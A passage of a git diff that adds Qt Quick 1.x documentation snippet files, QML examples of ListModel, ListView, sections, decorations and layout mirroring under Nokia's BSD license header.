+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.1
+
+Rectangle {
+ LayoutMirroring.enabled: true
+ LayoutMirroring.childrenInherit: true
+
+ width: 300; height: 50
+ color: "yellow"
+ border.width: 1
+
+ Row {
+ anchors { left: parent.left; margins: 5 }
+ y: 5; spacing: 5
+
+ Repeater {
+ model: 5
+
+ Rectangle {
+ color: "red"
+ opacity: (5 - index) / 5
+ width: 40; height: 40
+
+ Text {
+ text: index + 1
+ anchors.centerIn: parent
+ }
+ }
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/listmodel-modify.qml b/doc/src/snippets/declarative/listmodel-modify.qml
new file mode 100644
index 00000000..9ee67f67
--- /dev/null
+++ b/doc/src/snippets/declarative/listmodel-modify.qml
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+}
+
+//![delegate]
+ Component {
+ id: fruitDelegate
+ Item {
+ width: 200; height: 50
+ Text { text: name }
+ Text { text: '$' + cost; anchors.right: parent.right }
+
+ // Double the price when clicked.
+ MouseArea {
+ anchors.fill: parent
+ onClicked: fruitModel.setProperty(index, "cost", cost * 2)
+ }
+ }
+ }
+//![delegate]
+
+ListView {
+ width: 200; height: 200
+ model: fruitModel
+ delegate: fruitDelegate
+}
+
+}
diff --git a/doc/src/snippets/declarative/listmodel-nested.qml b/doc/src/snippets/declarative/listmodel-nested.qml
new file mode 100644
index 00000000..5c82bb8b
--- /dev/null
+++ b/doc/src/snippets/declarative/listmodel-nested.qml
@@ -0,0 +1,102 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+
+//![model]
+ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ attributes: [
+ ListElement { description: "Core" },
+ ListElement { description: "Deciduous" }
+ ]
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ attributes: [
+ ListElement { description: "Citrus" }
+ ]
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ attributes: [
+ ListElement { description: "Tropical" },
+ ListElement { description: "Seedless" }
+ ]
+ }
+}
+//![model]
+
+//![delegate]
+Component {
+ id: fruitDelegate
+ Item {
+ width: 200; height: 50
+ Text { id: nameField; text: name }
+ Text { text: '$' + cost; anchors.left: nameField.right }
+ Row {
+ anchors.top: nameField.bottom
+ spacing: 5
+ Text { text: "Attributes:" }
+ Repeater {
+ model: attributes
+ Text { text: description }
+ }
+ }
+ }
+}
+//![delegate]
+
+ListView {
+ width: 200; height: 200
+ model: fruitModel
+ delegate: fruitDelegate
+}
+
+}
diff --git a/doc/src/snippets/declarative/listmodel-simple.qml b/doc/src/snippets/declarative/listmodel-simple.qml
new file mode 100644
index 00000000..53fb120f
--- /dev/null
+++ b/doc/src/snippets/declarative/listmodel-simple.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+
+ ListModel {
+ id: fruitModel
+//![0]
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+//![1]
+ }
+
+ Component {
+ id: fruitDelegate
+ Row {
+ spacing: 10
+ Text { text: name }
+ Text { text: '$' + cost }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: fruitModel
+ delegate: fruitDelegate
+ }
+}
+//![1]
diff --git a/doc/src/snippets/declarative/listmodel.qml b/doc/src/snippets/declarative/listmodel.qml
new file mode 100644
index 00000000..e82dfec3
--- /dev/null
+++ b/doc/src/snippets/declarative/listmodel.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+ListModel {
+ id: fruitModel
+
+ ListElement {
+ name: "Apple"
+ cost: 2.45
+ }
+ ListElement {
+ name: "Orange"
+ cost: 3.25
+ }
+ ListElement {
+ name: "Banana"
+ cost: 1.95
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/listview-decorations.qml b/doc/src/snippets/declarative/listview-decorations.qml
new file mode 100644
index 00000000..59ec8ae8
--- /dev/null
+++ b/doc/src/snippets/declarative/listview-decorations.qml
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 550; height: 220; color: "white"
+
+//! [model]
+ListModel {
+ id: nameModel
+ ListElement { name: "Alice" }
+ ListElement { name: "Bob" }
+ ListElement { name: "Jane" }
+ ListElement { name: "Harry" }
+ ListElement { name: "Wendy" }
+}
+//! [model]
+
+//! [delegate]
+Component {
+ id: nameDelegate
+ Text {
+ text: name;
+ font.pixelSize: 24
+ }
+}
+//! [delegate]
+
+//! [decorations]
+ListView {
+ anchors.fill: parent
+ clip: true
+ model: nameModel
+ delegate: nameDelegate
+ header: bannercomponent
+ footer: Rectangle {
+ width: parent.width; height: 30;
+ gradient: clubcolors
+ }
+ highlight: Rectangle {
+ width: parent.width
+ color: "lightgray"
+ }
+}
+
+Component { //instantiated when header is processed
+ id: bannercomponent
+ Rectangle {
+ id: banner
+ width: parent.width; height: 50
+ gradient: clubcolors
+ border {color: "#9EDDF2"; width: 2}
+ Text {
+ anchors.centerIn: parent
+ text: "Club Members"
+ font.pixelSize: 32
+ }
+ }
+}
+Gradient {
+ id: clubcolors
+ GradientStop { position: 0.0; color: "#8EE2FE"}
+ GradientStop { position: 0.66; color: "#7ED2EE"}
+}
+//! [decorations]
+
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/declarative/listview-sections.qml b/doc/src/snippets/declarative/listview-sections.qml
new file mode 100644
index 00000000..16b2239d
--- /dev/null
+++ b/doc/src/snippets/declarative/listview-sections.qml
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 150; height: 300; color: "white"
+
+//! [model]
+ListModel {
+ id: nameModel
+ ListElement { name: "Alice"; team: "Crypto" }
+ ListElement { name: "Bob"; team: "Crypto" }
+ ListElement { name: "Jane"; team: "QA" }
+ ListElement { name: "Victor"; team: "QA" }
+ ListElement { name: "Wendy"; team: "Graphics" }
+}
+//! [model]
+
+//! [delegate]
+Component {
+ id: nameDelegate
+ Text {
+ text: name;
+ font.pixelSize: 24
+ anchors.left: parent.left
+ anchors.leftMargin: 2
+ }
+}
+//! [delegate]
+
+//! [section]
+ListView {
+ anchors.fill: parent
+ model: nameModel
+ delegate: nameDelegate
+ focus: true
+ highlight: Rectangle {
+ color: "lightblue"
+ width: parent.width
+ }
+ section {
+ property: "team"
+ criteria: ViewSection.FullString
+ delegate: Rectangle {
+ color: "#b0dfb0"
+ width: parent.width
+ height: childrenRect.height + 4
+ Text { anchors.horizontalCenter: parent.horizontalCenter
+ font.pixelSize: 16
+ font.bold: true
+ text: section
+ }
+ }
+ }
+}
+//! [section]
+
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/declarative/listview.qml b/doc/src/snippets/declarative/listview.qml
new file mode 100644
index 00000000..b22ccc03
--- /dev/null
+++ b/doc/src/snippets/declarative/listview.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 175; height: 175; color: "white"
+
+//! [model]
+ListModel {
+ id: petlist
+ ListElement { type: "Cat" }
+ ListElement { type: "Dog" }
+ ListElement { type: "Mouse" }
+ ListElement { type: "Rabbit" }
+ ListElement { type: "Horse" }
+}
+//! [model]
+
+//! [delegate]
+Component {
+ id: petdelegate
+ Text {
+ id: label
+ font.pixelSize: 24
+ text: if (index == 0)
+ label.text = type + " (default)"
+ else
+ text: type
+ }
+}
+//! [delegate]
+
+//! [view]
+ListView {
+ id: view
+ anchors.fill: parent
+
+ model: petlist
+ delegate: petdelegate
+}
+//! [view]
+
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/declarative/listview/ContactModel.qml b/doc/src/snippets/declarative/listview/ContactModel.qml
new file mode 100644
index 00000000..353d6fb8
--- /dev/null
+++ b/doc/src/snippets/declarative/listview/ContactModel.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+ListModel {
+ ListElement {
+ name: "Bill Smith"
+ number: "555 3264"
+ }
+ ListElement {
+ name: "John Brown"
+ number: "555 8426"
+ }
+ ListElement {
+ name: "Sam Wise"
+ number: "555 0473"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/listview/listview-snippet.qml b/doc/src/snippets/declarative/listview/listview-snippet.qml
new file mode 100644
index 00000000..ba4a6b92
--- /dev/null
+++ b/doc/src/snippets/declarative/listview/listview-snippet.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+ListView {
+ width: 50; height: 200
+ model: 4
+ delegate: Text {
+ text: index;
+ font.pixelSize: 40
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/listview/listview.qml b/doc/src/snippets/declarative/listview/listview.qml
new file mode 100644
index 00000000..ac386832
--- /dev/null
+++ b/doc/src/snippets/declarative/listview/listview.qml
@@ -0,0 +1,149 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
